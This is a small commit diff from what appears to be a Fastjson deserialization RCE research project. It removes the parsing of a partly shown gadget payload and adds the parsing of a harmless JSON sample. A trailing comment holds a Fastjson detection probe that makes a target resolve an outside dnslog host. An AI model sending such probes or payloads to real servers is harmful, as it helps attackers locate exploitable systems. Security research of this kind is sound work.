Fastjson

Author: SummerSec

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java

@@ -49,7 +49,23 @@ public static void main(String[] args) {
                 "        \"autoCommit\":\"true\"\n" +
                 "    }\n" +
                 "}";
-        JSON.parse(json1);
+        String json2 = "{\n" +
+                "  \"array\": [\n" +
+                "    1,\n" +
+                "    2,\n" +
+                "    3\n" +
+                "  ],\n" +
+                "  \"type\": true,\n" +
+                "  \"null\": null,\n" +
+                "  \"number\": 123,\n" +
+                "  \"object\": {\n" +
+                "    \"a\": \"b\",\n" +
+                "    \"c\": \"d\"\n" +
+                "  },\n" +
+                "  \"string\": \"welcome to json\"\n" +
+                "}";
+        Object ob = JSON.parse(json2);
+        System.out.println(ob.getClass().getName());
     }
 
 //    {"@type":"java.net.Inet4Address","val":"cr8s2f.dnslog.cn"}